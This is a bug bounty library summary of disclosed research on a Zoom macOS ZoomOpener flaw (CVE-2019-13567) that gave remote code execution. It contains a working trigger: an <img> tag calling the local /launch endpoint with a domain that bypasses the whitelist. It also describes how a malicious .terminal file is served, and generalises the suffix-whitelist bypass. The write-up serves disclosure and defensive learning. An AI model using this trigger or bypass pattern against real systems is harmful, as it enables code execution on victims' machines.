# Zoom Zero Day Followup: Getting the RCE

ZoomOpener's /launch endpoint validated domains by suffix only, letting attacker.zoom.us-style hosts serve a malicious .terminal file that ZoomOpener opened, achieving macOS RCE.

- Payout: Research
- Severity: high
- Program: Zoom
- Credited: Assetnote
- Disclosed: 2024-02-17
- CVE: CVE-2019-13567
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/zoom-zero-day-followup-getting-the-rce
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-zoom-zero-day-followup-getting-the-rce
- Tags: domain:desktop impact:rce kind:research platform:research sev:high technique:reverse-engineering technique:source-review vuln:access-control vuln:business-logic vuln:rce

**Target:** ZoomOpener macOS daemon local webserver on port 19421
**Root cause:** The domain parameter was validated with hasSuffix: against whitelisted domains, so 'attacker.zoom.us' or 'evil.com/.zoom.us' passed; the downloaded package was then passed to NSWorkspace openFile: without integrity checks.
**Steps:**
1. Observe ZoomOpener registers zoomopener:// and runs a local webserver on port 19421 with a /launch endpoint.
2. Fuzz /launch to trigger downloadZoomClientForDomain: with attacker-controlled domain.
3. Bypass whitelist via suffix match: `domain=assetnotehackszoom.com/attacker.zoom.us`.
4. Serve `https://assetnotehackszoom.com/attacker.zoom.us/upgrade?os=mac` returning `Package-url=https://.../payload.pkg` metadata.
5. Host a malicious .terminal plist with a CommandString startup command.
6. Trigger via `<img src="http://localhost:19421/launch?action=launch&domain=assetnotehackszoom.com/attacker.zoom.us&usv=66916&uuid=-7839939700717828646&t=1553838149048"/>`.
7. ZoomOpener downloads the file and installComplete: calls NSWorkspace openFile: on it, executing the terminal profile command.
**How found:** Recon of the Zoom macOS client revealed ZoomOpener binary with a local webserver; disassembly found /launch endpoint; fuzzing triggered installer download; code review of downloadZoomClientForDomain: exposed hasSuffix: whitelist check; Frida tracing confirmed openFile: on the downloaded package.
**Exploitation:** Attacker hosts a server with a crafted upgrade response pointing Package-url to a malicious .terminal file. Victim visits a page loading the localhost:19421/launch URL (precondition: Zoom previously installed, leaving ~/.zoomus/ZoomOpener). ZoomOpener downloads the file and openFile: executes the terminal profile's CommandString, running arbitrary commands.
**Escalation:** Chained a domain-suffix logic flaw with an unvalidated openFile: call and a .terminal profile technique to bypass code signing and installer GUI prompts.
**Insight:** When a whitelist uses hasSuffix:/endsWith on a URL or domain, try embedding the trusted domain as a path segment (evil.com/trusted.com) or as a subdomain prefix; also check whether downloaded files are later passed to openFile:/openURL: which executes .terminal profiles without code signing.